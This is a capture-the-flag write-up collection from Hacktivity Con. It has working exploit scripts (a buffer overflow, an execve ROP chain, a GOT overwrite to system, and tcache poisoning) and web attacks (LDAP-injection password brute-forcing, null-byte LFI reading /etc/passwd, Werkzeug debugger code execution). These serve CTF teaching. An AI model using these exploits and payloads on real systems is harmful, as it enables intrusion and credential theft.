arrow-left

All pages
gitbookPowered by GitBook
1 of 37

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Pancakes

Gets is called on rbp-0x90, there's a function called secret_recipe which reads flag.txt and prints it to stdout. So, just your standard ret2win, overflow 0x90 + 8 bytes of the buffer to overwrite the return address to that of secret_recipe

from pwn import *
NUM_TO_RET = 0x90 + 8
padding = b'A' * NUM_TO_RET
e = ELF("./pancakes")
#p = e.process()
p = remote('jh2i.com',50021)
p.recvlines(2)
p.sendline(padding + p64(e.symbols['secret_recipe']))
p.interactive()

hashtag
Flag: flag{too_many_pancakes_on_the_stack}

Statics and Dynamics

So this is a static binary. It's got a lot of libc zipped up within itself, removing ret2libc and ret2plt and stuff like that. Disassembling main and ignoring all the extra libc functions, we see it prints the string about it being a large binary and then calls gets on rbp-0x100. So, buffer overflow obviously. But what do we ret to? How to pop a shell?

System, execve etc. all the stuff that may be useful for shell popping is removed from the binary's libc functions. That doesn't matter though.

The libc is big, and it has a lot of purposes. It'll need to do many things including syscalls. Because of this, libc is always a ROP gadget goldmine. Since this binary has most of libc in itself, this binary is also a ROP gadget goldmine.

Due to this, we can build a simple execve ROP chain to execve("/bin/sh",NULL,NULL), then cat flag.txt.

hashtag
Flag: flag{radically_statically_roppingly_vulnerable}

hashtag
EXPLANATION:

What I just used here is called Return Oriented Programming. ROP works by building chains of return addresses. When a program rets, it'll go to the next value off the stack as a return address. So, if our input is ever at the top of the stack, we can build chains of return addresses, causing it to continue ret-ing into the next location.

The ROP chain i used uses syscalls or system calls, the lowest level, used for special calls to the system, e.g opening files, writing to files, and in this case executing files.

The chain I just used is as follows. It uses the execve syscall since the function is not available. Remember 64-bit arguments are in rdi, then rsi, then rdx...

Our goal is to execute execve("/bin/sh",0,0) as a syscall

  • pop rdi address - pop next value off the stack into rdi for first argument

  • /bin/sh address - to be popped into rdi as first argument

  • pop rsi address - pop next value off the stack into rsi for second argument

from pwn import *
NUM_TO_RET = 0x100 + 8
padding = b'A' * NUM_TO_RET
e = ELF("./sad")
poprax = 0x000000000043f8d7
poprdi = 0x000000000040187a
poprsi = 0x0000000000407aae
poprdx = 0x000000000040177f
syscall = 0x000000000040eda4
binsh = next(e.search(b"/bin/sh\x00"))
# Build execve rop chain
payload = flat(poprdi,binsh,poprsi,0,poprdx,0,poprax,0x3b,syscall,word_size=64)
p = e.process() if args.LOCAL else remote('jh2i.com', 50002)
p.recvline()
p.sendline(padding + payload)
p.interactive()
0 - to be popped into rsi as second argument
  • pop rdx address - pop next value off the stack into rdx for third argument

  • 0 - to be popped into rdx as third argument

  • pop rax address - pop next value off of the stack into rax. RAX stores the syscall number when a syscall is done.

  • 0x3b - to be popped into rax for the syscall number. 0x3b is execve

  • syscall address - execute the syscall. Will be asking the kernel to execute execve("/bin/sh",0,0)

  • Space Force

    Binary Exploitation

    Space Force - Binary Exploitation

    hashtag
    Solved by Day - gg for the writeup :smile:

    hashtag
    Flag found at the end

    Given the name "space FORCE" this was probably meant to be house of force but I felt like that would be more complicated than what I ended up doing so I... didn't do that.

    Instead, I went along the path of a more complex tcache poisoning attack.

    Let's digest the program first before we look at how we are to attack it.

    We have 5 functions:

    • register account

    • print account by UID

    • print all accounts

    I'm not gonna talk about launch rocket, since it seems rather useless and I didn't use it at all.

    hashtag
    Register account

    We choose a first name, last name, and can set the expiry if we want. Note the expiry, unlike the comment, is malloc-ed no matter what, it's just not initialised if we don't set the expiry. We can also set the comment, for this we get to specify the size and it gets malloced. Here are some representations of how accounts are stored:

    hashtag
    UID

    Simply represents the index of the account in the account array, which by the way is stored on the stack and has no cap.

    hashtag
    Print account by UID

    Specify UID(which is used as an index to grab the account) and the UID, first name and last name will be printed. Note that there's no checks at all on the UID and deleted accounts aren't removed from the array, the account counter is just decremented(read after free) but I ended up not using this, as the UID is only printed as an integer and thus not a lot of information can be reaped.

    hashtag
    Print all accounts

    Note that the program keeps an account counter, incrementing when an account is made, decrementing when the last account is deleted.(This is also how it keeps track of the last account). All accounts up to this counter are printed: UID, last name, first name But this time so is the expiry - day, year and month.

    hashtag
    Ok, we've covered all the important functions. Let's dissect our two main vulns.

    hashtag
    VULN 1

    Malloc does NOT initialise data. Info leak! Left over pointers from a free chunk newly allocated remain. This allows us to get a heap leak by smartly handling expiries, which I'll explain below.

    hashtag
    VULN 2

    There is overflow when we make an expiry. 32 bytes are read into the month when only 16 should be read. This gives overflow of 15 bytes after the end of the expiry chunk(1 byte is reserved for null as fgets is used)

    hashtag
    Let's dissect a little more into exactly how our data is stored on the heap.

    So, we've already covered the account and expiry structs.

    • Accounts are 0x70 size chunks(0x60 allocation)

    • Expiries are 0x20 size chunks(0x10 allocation)

    • Comments are malloc-ed to their exact size

    So, how do we get this info leak?

    Let's start off with two accounts, no comment. Heap is as follows:

    Let's free them both, and take a look at the tcache

    • 0x20 bin -> account 0 expiry -> account 1 expiry

    • 0x70 bin -> account 0 -> account 1

    Let's make another account, it'll be served pretty much on top of the old count 0. Let's again not set an expiry.

    Now, remember how I said it just doesnt initialise when we dont set an expiry? This means in place of the day and year fields, will set a heap pointer! We can leak this pointer!:

    • Printing all accs

    • Extracting the day and year pointers

    • Doing twos complement (as they may be displayed negative)

    This gives us the heap base

    > Ok.. ok, so we know the whereabouts of the heap. What about libc?

    In hindsight this could've been done SOOO much simpler by forcing an unsorted bin chunk then doing the same sort of protocol as the 0x20 would be served by the unsorted bin but.. here we are. The 15 bytes of overflow past the expiry chunk lets us overwrite the size field of the next chunk (I didnt do anything here, just set it to what it already was) and then overwrite the 8 bytes afterwards. This can be used nicely for tcache poisoning, overwriting the next pointer of a tcache chunk.

    What I did was:

    • allocate an account with a 0xe0 sized comment

    • freeed it

    • allocated an account with

    This account would be in around the same place, just below the old, freed, tcache comment chunk.

    With the expiry overflow, we can overwrite the next pointer to execute tcache poisoning. Given my knowledge of the whereabouts of the heap, I used this to:

    • go back

    • overwrite the expiry pointer of chunk 0 to an existing unsorted bin chunk

    So, we can set the next pointer to the address of the expiry pointer of chunk 0. Make a 0xe0 comment allocation, make one again - this will be on top of chunk 0's expiry pointer! Let's overwrite the expiry pointer with that of the unsorted bin chunk.

    > Now, by printing all accounts, we also print the libc pointer hidden in the expiry(it'll be right at the month field).

    > Note the 0xf0 tcache is utterly fried after this so we wont be making any 0xe0 allocations again.

    Now, we've got heap AND libc!!! We just need the final piece - an arb write, preferable to write to free hook.

    We can repeat this process again, but things get more complicated. Going back to getting an unsorted chunk, this is only possible through:

    • filling up the tcache (I used 0xf0 tcache)

    • freeing another one

    Problem with this is...

    1. It leaves an unwanted unsorted/small bin chunk we'll need to completely serve out to stop allocations earlier on in the heap

    2. It wastes a lot of space on the heap as all these old tcache chunks get disconnected from tcache. We'll need to refill these phantom freed account blocks before we move on

    3. We can't have too many accounts, it'll overwrite important things on the stack and maybe even the return address to account addresses(since NX is on this isn't at all helpful)

    I went smart about this, and in my filling up of the heap so that we can get a nice "clean slate" ready for the second poisoning. I used comment sizes that imitated account creations.

    Eventually, through some trial and error and thinking:

    • I was able to do a good set of allocations

      • that efficiently used the list to fill up the entirety of the previous section of the heap

      • such that all new allocations are top chunk allocations.

    Finally, we can:

    • allocate a chunk with 0xf0 size

      • such that the comment chunk will be of size 0x100

      • it won't be in the previously destroyed tcache.

    hashtag
    Explanation

    Free hook is called on the pointer that is about to be freed before it is freed. Overwriting free hook with system means the chunk about to be freed (in this case /bin/sh as we wrote that to free hook -8) will have system called on it Allocating at free hook-8 to get free hook overwrite and also extra space for /bin/sh for system is a nice little trick i learned from a fizzbuzz writeup, which he learned from NotDeGhost's writeups.

    hashtag
    Summarisation

    1. Abuse lack of pointer clearing to leak heap pointers using expiries by allocating two, freeing two then allocation one(all without expiry initialisation)

    2. Fill 0xf0 tcache, get an unsorted bin chunk this way(we can allocate chunks of arbitrary sizes via allocating accounts with specific sizes of comments)

    3. Tcache poison to get a chunk at the expiry pointer of account 0

    hashtag
    Flag

    flag{michael_scott_for_president}

    delete last registered account

  • launch rocket.

  • Note we can't read to comments, only write.
    Reconstructing the ints to get the original heap address
    no comment
    .
    (as that would have libc pointers).
  • Then, we free it

  • Allocate an account with no comment

  • tcache poison via overflow

  • Set the next pointer to free hook-8

    • Allocate an account

    • 0xf0 comment size

  • Do that again

    • The second one's comment will be at free hook-8

  • write /bin/sh + system

  • free the previous account

  • shell popped!

  • Overwrite expiry pointer to point at unsorted bin chunk(which will have libc pointer)

  • Leak libc by printing all accounts

  • Fill up previous section of the heap through a series of specifically comment-sized registrations

  • Tcache poison again this time in the 0x100 tcache to get a chunk at free hook-8

  • Write /bin/sh\x00 + system

  • Free last account

  • Shell popped

  • Exploit script can be found herearrow-up-right
    struct account {
      unsigned long uid;
      struct expiry * expiration;
      char firstname[32];
      char lastname[32];
      char* comment;
      long comment_size;
    }
    struct expiry {
      int day;
      int year;
      char month[16];
    }
    0x70 chunk
    0x20 chunk
    0x70 chunk
    0x20 chunk
    account chunk
    expiry chunk
    0xf0 size tcache chunk

    Bullseye

    It takes an address and number in hex, then writes the number to the address. The hex is parsed by strtoull which will be useful later.

    After writing, it calls sleep(0xf), then prints the address of alarm and calls exit. The address of alarm gives us a libc leak. Partial RELRO, so GOT overwrite is possible. Here's what we do:

    1. Overwrite exit@got with main. When it attempts to exit after printing a libc pointer to us, it'll call main, giving us another write

    2. Overwrite sleep@got with main(we couldn't do this before as alarm is called after sleep but we dont need anymore leaks) so that the alarm doesnt catch us out and our exploit is quick from then on

    3. Overwrite strtoull@got with system so next time it tries to turn our input to hex it calls system on it

    4. Enter /bin/sh as the next address

    Shell will be popped, we can cat flag.txt.

    from pwn import *
    import time
    e = ELF("./bullseye")
    libc = e.libc if args.LOCAL else ELF("/home/kali/Tools/libc-database/libs/libc6_2.30-0ubuntu2.2_amd64/libc.so.6")
    p = e.process() if args.LOCAL else remote('jh2i.com', 50031)
    p.recvlines(2)
    def write(addr,value,sleep=False):
        output = None
        p.recvline()
        p.sendline(hex(addr))
        p.recvline()
        p.sendline(hex(value))
        if sleep:
            log.info(f"Sleeping...")
            time.sleep(0xf)
            log.info(F"Finished with sleep")
            output = int(p.recvline(),16)
        p.recvlines(2)
        return output
    # Set exit to main to get another leak and call main again for more writes(one write? says WHO)
    leak = write(e.got['exit'],e.symbols['main'],sleep=True)
    log.info(f"Libc leak: {hex(leak)}")
    libc.address = leak - libc.symbols['alarm']
    log.info(f"Libc base: {hex(libc.address)}")
    # Set sleep to main because we dont need more leaks and its annoying
    write(e.got['sleep'],e.symbols['main'])
    # Let's start the main exploit process
    # Overwrite strtoull with system so whenever it tries to parse input, it'll call system
    write(e.got['strtoull'],libc.symbols['system'])
    # Now we enter /bin/sh into prompt
    p.recvline()
    p.sendline("/bin/sh")
    p.interactive()

    Crypto

    OFBuscated

    So, from the title, we guess it's using OFB encryption.

    For those of you that don't know, OFB encryption works like this: Firstly, like any AES mode, there is a key, and then with OFB, you also have an IV. Then:

    • Encrypt the IV using the key

    • Sets the new IV to the encrypted IV

    • Xor the plaintext block with the encrypted IV, and then this is the output

    This repeats for each block.

    After reading the script, we can work out that:

    • It takes the flag.txt, and reads this

    • Pads this data using pkcs7 padding

    • Splits the data into blocks of 16 bytes

    Since the IV and key stay constant, we can connect and receive as many data samples as we want, and since there are 3 blocks, there are only 6 possible permutations for the blocks to be in. (doesn't really matter but whatever)

    Looking even closer at the script, we see this line:

    This means that the length of the flag must be 33, as we have already established that there are three blocks. This also means, because of the way the data is padded, that one of the blocks must be "}\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f" (we know the last char is "}")

    Now, we can simply attempt to XOR each block with this string to get the key for that block, and then XOR that with the other blocks to get the flag. I made this table for convenience.

    We then XOR f24f00b65180b6161b2b9da92d2e42ae with 7d0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f to get 8f400fb95e8fb919142492a622214da1, which is what XOR key was used to encrypt the first block.

    Then, we simply XOR this key with each of the other blocks to get the rest of the flag.

    hashtag
    Flag: flag{bop_it_twist_it_pull_it_lol}

    Randomly shuffles these blocks
  • Encrypts the blocks with the OFB we mentioned above.

  • assert len(flag) % 16 == 1
    block\position:   1                                 2                            3
    1 e92c6ede25edd6694b4de6f9565624d2  7e4cdcceda0a5284178d43205b448d35 24d20b9d166edb74bb80fa7ddf96d6a7
    2 fb1f66cd01ffcc75787bfbd27d4d22cd  771cbab58a7528e774dd255b0b27ed56 36e1038e327cc16888b6e756f48dd0b8
    3 f24f00b65180b6161b2b9da92d2e42ae  652fb2a6ae6732fb47eb3870203ceb49 3fb165f56203bb0bebe6812da4eeb0db
    e92c6ede25edd6694b4de6f9565624d2 ^ 8f400fb95e8fb919142492a622214da1 = 666c61677b626f705f69745f74776973 = flag{bop_it_twis
    fb1f66cd01ffcc75787bfbd27d4d22cd ^ 8f400fb95e8fb919142492a622214da1 = 745f69745f70756c6c5f69745f6c6f6c = t_it_pull_it_lol
    f24f00b65180b6161b2b9da92d2e42ae ^ 8f400fb95e8fb919142492a622214da1 = 7d0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f = }...............

    Bon Apettit

    just a boneh durfee attack lol (make sure to change lattice size to 5)

    hashtag
    Flag: flag{bon_appetit_that_was_one_big_meal}

    Tyrannosaurus Rex

    So the encryption takes some data, then base64 encodes it and encrypts it by XORing each byte with the byte after it, wrapping the last byte around to the start. The result is then hexlified. So, we can simply bruteforce the first byte in order to bruteforce what the decryption is. This gives us the base64 of the flag, which can be base64 decoded to get:

    hashtag
    Flag: flag{tyrannosauras_xor_in_reverse}

    Perfect XOR

    If we try to run this, we would eventually get the flag, but it's really slow, so let's try to not do that.

    If we take a look at the a() function, we can see that it

    • Has a loop that goes from 1 to n (for i in range)

    • Defines b to be 0

      • Checks if i is a multiple of n

        • If so, add i to b

      • If b is equal to n, return True

    We can see (and also guessing by the title) that this will only return true on perfect numbers. Knowing this, I just looked up a list of perfect numbers, and then just XORed each number with the corresponding perfect number.

    Script below.

    Then we just wrap the output with flag and submit it

    hashtag
    Flag: flag{tHE_br0kEN_Xor}

    def a(n):
    b = 0
    for i in range(1, n):
        if(n % i == 0):
            b += i
    return b == n
    cipher = [list of base64decoded stuff]
    p = [6,28,496,8128,33550336,8589869056,137438691328,2305843008139952128,2658455991569831744654692615953842176,191561942608236107294793378084303638130997321548169216,13164036458569648337239753460458722910223472318386943117783728128,14474011154664524427946373126085988481573677491474835889066354349131199152128,23562723457267347065789548996709904988477547858392600710143027597506337283178622239730365539602600561360255566462503270175052892578043215543382498428777152427010394496918664028644534128033831439790236838624033171435922356643219703101720713163527487298747400647801939587165936401087419375649057918549492160555646976,141053783706712069063207958086063189881486743514715667838838675999954867742652380114104193329037690251561950568709829327164087724366370087116731268159313652487450652439805877296207297446723295166658228846926807786652870188920867879451478364569313922060370695064736073572378695176473055266826253284886383715072974324463835300053138429460296575143368065570759537328128]
    o = ""
    for i in range(len(p)):
      o += (chr(p[i] ^ cipher[i]))
    
    print(o)

    Cold War

    .

    Just snow steg.

    /snow -C /tmp/coldwar.txt

    hashtag
    Flag:flag{do_not_use_merriam_webster}

    http://www.darkside.com.au/snow/index.html#:~:text=Whitespace steganography,effectively hidden from casual observersarrow-up-right

    A E S T H E T I C

    its an ECB oracle, ill explain this in detail later when i get the time

    hashtag
    Flag: flag{aes_that_ick_ecb_mode_lolz}

    Hexgedit

    just use an ocr or something to get the hex and decode to get flag

    hashtag
    Flag: flag{optical_hexadecimal_recognition_amirite}

    Rescue Mission

    Idk how this is scripting? We get a powershell shell.

    gci -r shows us the path of flag.png

    [Convert]::ToBase64String([IO.File]::ReadAllBytes("/c_drive/stuck_in/the_ocean/flag.png"))

    Just load that into cyberchef, decode, and render image

    hashtag
    Flag:flag{thanks_you_saved_me}

    Scripting

    Flushed

    We get a shell, and get the output in large ascii text. There's a PNG of the flag. Here's my script (stupid probably). I got 1/3 of the image and guessed the rest lol

    from pwn import *
    host = ("jh2i.com", 50015)
    
    import string
    mapc = {}
    
    r = remote(*host)
    
    def runCmd(cmd):
        r.clean()
        r.sendline(cmd)
        return r.clean(timeout=0.3).split(b"\r\n")[2:8]
    
    
    for c in string.printable:
        mapc[c] = runCmd(f"echo '{c}'")
    
    def lookup(val):
        for k, v in mapc.items():
            if v == val:
                return k
    
    
    def readOutput(cmd):
        template = "expr substr $({}) {} 1"
        output = ""
        pos = 1
        for c in range(1, 9293):
            out = runCmd(template.format(cmd, c))
            char = lookup(out)
            print(char, end='')
            output += char
        return output
    
    print(readOutput("base64 flag.png -w0"))

    hashtag
    Flag:flag{flushed_down_the_toilet_but_rescued_again}

    hashtag
    Tony's challenge afterthoughts:

    OH MY GOD I COULD HAVE CHEESED IT

    ONLY STDOUT IS ASCII-ARTED

    SO

    base64 -w0 flag.png 1>&2

    FUCKING YEAH DOES IT REEEEEEEEEEEEEEEEEEEEEEEEEE

    Hashbrown Casserole

    When we connect, we are given a hashsum (sha1/md5) and asked to send data, that when hashed, begins with a particular few bytes.

    We have to bruteforce a value to create this, 50 times

    from pwn import *
    from pwnlib.util.iters import mbruteforce
    
    from hashlib import md5, sha1
    methods = {"md5sum":md5, "sha1sum":sha1}
    host = ("jh2i.com", 50005)
    r = remote(*host)
    for x in range(50):
        r.recvuntil('Enter the data required for the first part of the ')
    
        method = r.recvuntil(' ')[:-1]
        sum = methods[method]
        r.recvuntil(': ')
        hash = r.recvline().strip()
        import string
        #chars = string.printable
        chars = [chr(c) for c in range(256)]
        chars.remove('\r')
        chars.remove('\n')
        def checkhash(string):
            if sum(string).hexdigest().startswith(hash):
                return True
            return False
    
        print("Goal: " + hash)
        print("Method: " + method)
        key = mbruteforce(checkhash, chars, 5, method = 'upto')
        print(list(key))
        r.clean()
        r.sendline(key)
        print(r.recvline(timeout=0.5))
    print(r.clean(timeout=0.5))

    hashtag
    Flag:flag{warm_casseroles_for_breakfast!!!}

    Misdirection

    So uh will noticed that each of the urls it redirects you to has a character of the flag in the http body so just script grabbing the urls and then script curling them

    import os
    import re
    url = "http://jh2i.com:50011/site/flag.php"
    urls = []
    while 'sorry' not in url:
        data = os.popen(f"curl -Is {url}").read()
        url = "http://jh2i.com:50011" + re.findall("Location: (.*)",data)[0]
        print(url)
        urls.append(url)
    print(urls)
    flag = ''
    for url in urls:
        data = os.popen(f"curl {url} 2>/dev/null").read()
        if data:
            flag += data[-2]
            print(flag)

    hashtag
    Flag: flag{http_302_point_you_in_the_right_redirection}

    Hacktivity Con

    Web

    substitute face

    👳👯👸👣👤🐡🐠👺👵👭🐠👢👪👢🐠👪👤🐡🐠👹👩👣👳👻👷👵👲👪👩👩👣👟👬👵👢👸👷👵👰👪👽 get last two hex chars from charcode and convert into ascii:

    soxcd! zum bjb jd! yics{wurjiic_lubxwupj}

    substitute solve:

    hashtag
    great! you did it! flag{mozilla_codemoji}

    Tootsie Pop

    Yeah, it's another one of those nested compression challenges. Inside of the zip is a gzip compressed file, which has a compressed file of a compressed file, etc. etc. etc.

    Anyway, all of the archive types it uses are extractable using 7z e

    So I just used a script to continuously extract the current archive and then remove it until it could not be extracted anymore. Then, you can simply cat the last file left to get the flag, flag{the_answer_is_1548_licks}

    NOTE: My script was called popper.py, you'll have to replace popper.py in the script with whatever you call your script.

    import os
    def getnext(cur):
        code = os.system(f"7z e {cur} >/dev/null")
        if code:
            print("Extraction error... quitting!")
            quit()
        files = os.listdir('.')
        files.remove(cur)
        files.remove("popper.py")
        print(files[0])
        os.system(f"rm {cur}")
        return files[0]
    cur = "pop.zip"
    while True:
        cur = getnext(cur)

    hashtag
    Flag: flag{the_answer_is_1548_licks}

    Steg

    Vencryption

    Downloaded vimdecrypt. python vimdecrypt.py --dictionary $ROCKYOU ../vencrypted.txt

    Output - probable password: computer

    decrypt with password

    hashtag
    Flag:flag{sometimes_it_really_do_be_like_that_tho}

    Forensics

    Mobile One

    strings mobile_one.apk | grep "flag{"

    hashtag
    Flag: flag{strings_grep_and_more_strings}

    Ladybug

    Enter /film/aaa to trigger error and get to werkzeug prompt

    import os
    os.popen("cat flag.txt").read()

    hashtag
    Flag:flag{weurkzerg_the_worst_kind_of_debug}

    Lightweight Contact Book

    With some fuzzing we can figure out that the search is using LDAP. The forgot password message reveals that the password is in the 'description' field. This allows us to char-by-char brute the password: administrator)(description=*

    Will return a result if the password matches this pattern

    The pw is: very_secure_hacktivity_pass

    import requests
    import string
    import sys
    pwchars = string.ascii_lowercase + string.ascii_uppercase + "_- "
    
    template = "http://jh2i.com:50019/?search=administrator)(description="
    password = ""
    
    while True:
        for c in pwchars:
            r = requests.get(template + password  +  c + "*")
            if "Administrator User" in r.text:
                password += c
                break
            print(password + c)
            sys.stdout.write("\033[F")

    hashtag
    Flag:flag{kids_please_sanitize_your_inputs}

    Bite

    So, let's go to one of the pages, Bit for example.

    We'll see the url

    ?page= imlies some form of LFI may be possible, as it looks like the specified page is imported into the template. So, let's go ahead and try

    We'll find it gives an error about /etc/passwd.php not existing. This tells us it appends .php to the end of the page parameter and includes it.

    Tony told me that a null byte causes the .php to become redundant as the null byte will terminate the string.

    works, displaying /etc/passwd.

    So I took a guess and tried /flag.txt%00 and that gave the flag.

    hashtag
    Flag: flag{lfi_just_needed_a_null_byte}

    http://jh2i.com:50010/?page=bitarrow-up-right
    http://jh2i.com:50010/?page=/etc/passwdarrow-up-right
    http://jh2i.com:50010/?page=/etc/passwd%00arrow-up-right

    Mobile

    Caesar Mirror

    So you're given 2 blocks of text, one is caesar cipher, offset 13 encrypted, and the other is reversed text, than caesar cipher with offset 13.

    Put them together alternatively(one from one block,one from the other, read second block from bottom to top) and you get this:

    Oh boy! Wow, this warmup challenge sure was a lot of fun to put together! I so definitely absolutely always love trying to think up new and innovative things to do with the very basic, common and classic CTF techniques! The first part of your flag is flag{julius and that is a great start but it is not everything that you will need to solve this challenge. I don't like trying to hide and . separate each part of the flag. The second part of the flag is _in_a but you do need just a little bit more. What exactly should we include here to try and make this filler text look more engaging and worthwhile? Should we add newlines? Should we add spaces and try and make it symmetrical? How many lines is enough to make this filler text look believable? A solid square of letters within a simple, monospace-font text file looks good enough to me. Are we almost at the end? It looks like it! I hope it is good. The third part of your flag is reflection} and at this point you should have everything

    Combine flag{julius_, _in_a_ and reflection}, and you get your flag

    hashtag
    Flag:flag{julius_in_a_reflection}

    Misc

    Internet Cattos

    nc ip port | less

    hashtag
    flag: flag{this_netcat_says_meow}

    Warm Up

    Domo Arigato

    /robots.txt init

    flag{r0b0ts_txt_txt_r0b0ts}

    Private Investigator

    There's a windows newline in the id_rsa key. dos2unix to fix it, then use it and cat flag

    hashtag
    Flag:flag{dont_ever_forget_that_newline}